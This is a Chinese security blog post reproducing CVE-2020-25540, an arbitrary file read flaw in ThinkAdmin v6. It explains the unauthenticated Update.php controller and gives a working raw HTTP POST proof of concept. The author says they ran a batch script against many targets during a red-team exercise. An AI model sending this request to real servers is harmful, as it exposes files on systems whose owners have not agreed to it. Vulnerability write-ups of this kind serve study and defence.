Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

admin 2024年9月28日14:31:03评论21 views字数 1109阅读3分41秒阅读模式

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

快结束,抓住HVV的小尾巴,现在有空去复现最近出的漏洞

一、漏洞简介:

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin 的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。ThinkAdmin 6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

二、漏洞成因:

https://github.com/zoujingli/ThinkAdmin/blob/v6/app/admin/controller/api/Update.php

Update.php中的函数方法未授权,可直接函数可直接调用。导致漏洞

三、影响范围:

Thinkadmin版本小于 ≤ 2020.08.03.01

四、漏洞复现:

POC:

POST /admin.html?s=admin/api.Update/node HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22rules=%5B%22.%2F%22%5D

简单写了一个批量的小脚本

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

跑了一部分,成功的不多,HVV尾声了,情况也正常。

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

发现一个诡异的地方:burp直接放包不能成功回去json的返回数据

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

python-尝试python的request的post方法可以返回

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

尝试curl的post的方法可以正常返回数据

Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

下来再来研究这个问题。

五、修复方案:

目前厂商已经发布修复相关问题,请受影响用户尽快升级到安全版本

六、参考链接:

https://github.com/zoujingli/ThinkAdmin/issues/244

https://mp.weixin.qq.com/s/1tm8DZNpGMCyL6mcCFUvkA

https://www.cnblogs.com/fan-gx/p/12321351.html

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

本文始发于微信公众号(Khan安全攻防实验室):Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:31:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)复现https://cn-sec.com/archives/535332.html

发表评论

匿名网友 填写信息